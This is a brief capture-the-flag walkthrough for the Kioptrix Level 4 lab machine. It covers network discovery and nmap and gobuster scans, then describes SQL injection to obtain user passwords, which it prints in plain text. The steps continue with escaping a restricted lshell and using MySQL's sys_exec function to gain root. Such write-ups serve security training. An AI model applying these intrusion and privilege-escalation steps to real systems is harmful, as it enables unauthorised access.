

Kioptrix Level 4

▼

Status

complete

+

Add a Property



Add a comment...

Figuring out the machine IP address

```
sudo netdiscover -i eth1 -r 192.168.99.0/24
```

Bash ▼

Nmap Scanning on the IP address

```
nmap -sV -sC -Pn 192.168.99.102 -e eth1 -oN nmap
```

Bash ▼

 nmap 1.6KB

Results of the nmap scan in normal format

Possible network attack vectors and explanations		
<div><div>Aa</div>Name</div>	<div><div>▼</div>Status</div>	<div><div>≡</div>Reason</div>
<div>139, 445 SMB</div>	<div>not-exploited</div>	No known exploits, tried normally browsing the available shares and found nothing.
<div>80</div>	<div>exploited</div>	Used SQLi to get into the application to get passwords for login as well as for SSH
<div><div>+</div>New</div>		
<div>COUNT 2</div>		

GoBuster scanning on the web application

```
gobuster -e -t 100 -u http://192.168.99.102/ -w  
/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
```

Bash ▾

 gobuster 1.0KB

After some SQLInjection I was able to get logins for 2 users using the GoBuster output.

```
john: MyNameIsJohn robert: ADGAdsafdfwt4gadfga==
```

Bash ▾

Using the credentials above I SSHed into the server and was met with a `limited shell (lshell)` had a look around and found <https://www.exploit-db.com/exploits/39632> this exploit which helped me to escape to a bash shell. Ref:

<https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/>

Using the command `grep -i 'mysql' -r ./ .` I was able to find password for MySQL root account.

Checked for available `select * from mysql.func` MySQL functions and found `sys_exec` using which I added the user john to the admin group (`usemod -a -G admin john`) and then `sudo su` to get root and get flag.

